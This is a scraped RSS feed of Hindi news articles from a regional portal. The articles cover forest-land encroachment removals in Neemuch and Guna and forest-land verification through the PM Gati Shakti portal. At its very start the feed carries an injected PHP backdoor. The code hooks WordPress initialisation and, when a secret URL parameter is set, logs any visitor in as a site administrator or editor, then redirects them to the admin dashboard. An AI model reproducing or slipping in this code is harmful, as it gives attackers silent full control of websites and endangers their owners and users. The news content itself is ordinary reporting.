// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); forest land – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 08 May 2026 17:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 नीमच में 12 हेक्टेयर वन भूमि अतिक्रमण के प्रयास से मुक्त https://pratyushaashakinayikiran.com/?p=218026 Fri, 08 May 2026 17:45:00 +0000 https://pratyushaashakinayikiran.com/?p=218026 भोपाल 

मुख्यमंत्री डॉ. मोहन यादव के नेतृत्व में प्रदेश में वन संरक्षण और अवैध अतिक्रमण के विरुद्ध सख्त कार्रवाई लगातार जारी है। इसी क्रम में नीमच जिले के पङदा सबरेंज अंतर्गत बीट मोकडी में वन विभाग ने विशेष अभियान चलाकर लगभग 12 हेक्टेयर वन भूमि को अतिक्रमण के प्रयास से मुक्त कराया। मुख्य वन संरक्षक उज्जैन  आलोक पाठक एवं वनमंडलाधिकारी नीमच  एस.के. अटोदे के निर्देशन तथा उप वन मंडल अधिकारी मानसा  दशरथ अखंड के मार्गदर्शन में परिक्षेत्राधिकारी  शाश्वत द्विवेदी के नेतृत्व में 7 मई को यह कार्रवाई की गई।

कार्रवाई के दौरान कक्ष क्रमांक 297 में लगभग 6 हेक्टेयर वन भूमि पर अतिक्रमण के प्रयास को विफल किया गया। ग्रामीणों द्वारा भूमि पर अवैध कब्जे का प्रयास किया जा रहा था। मौके पर जेसीबी मशीनों की सहायता से डबरा-डबरी कंटूर ट्रेंच (सीपीटी) का निर्माण कराया गया तथा वन एवं राजस्व भूमि के बीच स्पष्ट सीमा रेखा निर्धारित करने के लिए खुदाई की गई, ताकि भविष्य में दोबारा अतिक्रमण न हो सके। इसी प्रकार 5 मई 2026 को कक्ष क्रमांक 298 में 4 हेक्टेयर तथा 6 मई 2026 को 2 हेक्टेयर वन भूमि पर अतिक्रमण के प्रयास को विफल किया गया। लगातार तीन दिनों तक चली कार्रवाई में कुल 12 हेक्टेयर वन भूमि को सुरक्षित किया गया।

 

]]> पीएम गतिशक्ति पोर्टल के नक्शे से तय हों डूब वाले वन क्षेत्र, वन विभाग ने जल संसाधन विभाग को दिए निर्देश https://pratyushaashakinayikiran.com/?p=199370 Fri, 20 Feb 2026 06:25:00 +0000 https://pratyushaashakinayikiran.com/?p=199370 भोपाल.

मध्य प्रदेश में बांध और सिंचाई परियोजनाओं से प्रभावित डूब क्षेत्र में आने वाली वन भूमि का सत्यापन अब पीएम गतिशक्ति पोर्टल पर दर्ज आधिकारिक नक्शों के आधार पर किया जाएगा। वन विभाग ने जल संसाधन विभाग को स्पष्ट किया है कि पोर्टल पर अपलोड वन भूमि मानचित्र को ही सत्यापन का आधार बनाया जाए, ताकि प्रभावित क्षेत्र की सटीक पहचान और क्षतिपूर्ति प्रक्रिया पारदर्शी ढंग से पूरी हो सके।

इस पहल का उद्देश्य भारत सरकार के महत्वाकांक्षी डिजिटल प्लेटफॉर्म का शासकीय कार्यों में अधिकतम उपयोग सुनिश्चित करना है। इससे विभागों के बीच समन्वय बेहतर होगा और परियोजनाओं की स्वीकृति में लगने वाला समय भी घटेगा।

एकीकृत डाटा से मिलेगी सटीक जानकारी
पीएम गतिशक्ति पोर्टल पर वन भूमि के साथ-साथ रेलवे, राजस्व, जल संसाधन, सिंचाई, नदियां, खनन और सड़क नेटवर्क से जुड़ी जानकारी भी एकीकृत रूप से उपलब्ध है। इससे किसी परियोजना के लिए अलग-अलग विभागों में फाइलें भेजने की आवश्यकता कम होगी।

आपदा प्रबंधन में भी कारगर
पोर्टल पर भूस्खलन जोन, बाढ़ संभावित क्षेत्र, आबादी का स्वरूप, ऊंचाई, स्कूल, अस्पताल, परिवहन नेटवर्क, गोदाम, दूरसंचार नेटवर्क और मिट्टी की स्थिति जैसे डेटा मैप किए गए हैं। यह जानकारी आपदा प्रबंधन के दौरान जिला प्रशासन को त्वरित और सटीक निर्णय लेने में मदद करेगी। जियोग्राफिकल इंफॉर्मेशन सिस्टम (GIS) आधारित इस प्लेटफॉर्म से डूब क्षेत्र में आने वाली वन भूमि का सत्यापन अधिक पारदर्शी और तकनीकी रूप से सुदृढ़ होगा, जिससे विकास और पर्यावरण संतुलन के बीच बेहतर तालमेल स्थापित किया जा सकेगा।

]]> गुना में 900 बीघा वनभूमि मुक्त कराने 60 जेसीबी लेकर पहुंचे 400 अधिकारी-कर्मचारी, फसल रौंदकर गड्‌ढे खोदे https://pratyushaashakinayikiran.com/?p=122142 Fri, 17 Jan 2025 13:26:00 +0000 https://pratyushaashakinayikiran.com/?p=122142 गुना

गुना जिले के चाचौड़ा में वन विभाग ने ऐतिहासिक कदम उठाते हुए 900 बीघा वन भूमि को अवैध अतिक्रमण से मुक्त कराया। यह कार्रवाई 60 बुलडोजर और 600 वनकर्मियों की टीम के साथ की गई, जो जिला प्रशासन और पुलिस के सहयोग से सफल रही। यह अभियान मुख्यमंत्री मोहन यादव और केंद्रीय मंत्री ज्योतिरादित्य सिंधिया के आदेश पर चलाया गया। इससे पहले भी कई बार वन भूमि पर अतिक्रमण के खिलाफ अभियान चलाए गए, लेकिन इस बार की कार्रवाई ने प्रशासन और पुलिस के बीच बेहतर समन्वय का उदाहरण पेश किया।

बड़ी कार्रवाई में जुटे 60 बुलडोजर

रिपोर्ट में कहा गया है कि चाचौड़ा तहसील की 900 बीघा वन भूमि को मुक्त कराने के लिए वन विभाग ने 250 पुलिसकर्मी, वज्र वाहन, फायर ब्रिगेड वाहन, एंबुलेंस और आंसू गैस दस्ता मौके पर तैनात किया था, ताकि किसी भी विपरीत परिस्थिति में अतिक्रमणकारियों से निपटा जा सके। अतिक्रमण के खिलाफ इस बड़ी कार्रवाई के लिए गुना वन विभाग ने राजस्थान के राजगढ़, ब्यावरा, सुठालिया, राघौगढ़ और मनोहरथाना से मशीनरी और मानव संसाधन जुटाए थे और 900 बीघा वन भूमि को मुक्त कराने में सफलता हासिल की थी।

मुख्यमंत्री मोहन यादव और केंद्रीय मंत्री ज्योतिरादित्य सिंधिया के निर्देशों पर यह अभियान चलाया गया, जिनका उद्देश्य भू-माफियाओं के खिलाफ कड़ी कार्रवाई करना था।
250 पुलिसकर्मियों की तैनाती

इस अभियान में 250 पुलिसकर्मियों, वज्र वाहन, अग्निशमन वाहन, एंबुलेंस और अश्रु गैस दस्ते को तैनात किया गया, ताकि किसी भी अप्रत्याशित स्थिति का सामना किया जा सके। यह वन भूमि पर कब्जे हटाने की बीनागंज रेंज में 12वीं बड़ी कार्रवाई थी, जिसमें सौरभ द्विवेदी के नेतृत्व में कई स्थानों से कब्जा हटाया गया।

उल्लेखनीय है कि वर्ष 2016 में कमालपुर क्षेत्र में वन भूमि से अतिक्रमण हटाने के दौरान वन विभाग के अमले पर ग्रामीणों ने हमला कर दिया था। उस समय झगड़े और हिंसा के चलते कार्रवाई स्थगित करनी पड़ी थी। इस बार प्रशासन और पुलिस के बीच बेहतर समन्वय के चलते कार्रवाई बिना किसी बाधा के सफल रही। सूत्रों के अनुसार बीनागंज रेंज में अवैध अतिक्रमण की समस्या वर्षों पुरानी है। अधिकांश अतिक्रमण नियमानुसार बेदखली की कार्रवाई पूरी कर हटाए गए। इस बार की कार्रवाई प्रशासन, पुलिस और वन विभाग के बीच बेहतर समन्वय का उदाहरण पेश करती है।

अवैध कब्जे हटाने के लिए बनाई टास्क फोर्स

मध्य प्रदेश सरकार ने वन भूमि से अवैध अतिक्रमण हटाने के लिए जिला स्तरीय टास्क फोर्स का गठन किया है। इसमें कलेक्टर, पुलिस अधीक्षक और वन मंडल अधिकारी शामिल हैं। टास्क फोर्स की मासिक बैठक में प्रस्ताव पारित कर कार्रवाई सुनिश्चित की जाती है। बीनागंज रेंज में इस प्रक्रिया का प्रभावी ढंग से पालन किया गया।

 

]]>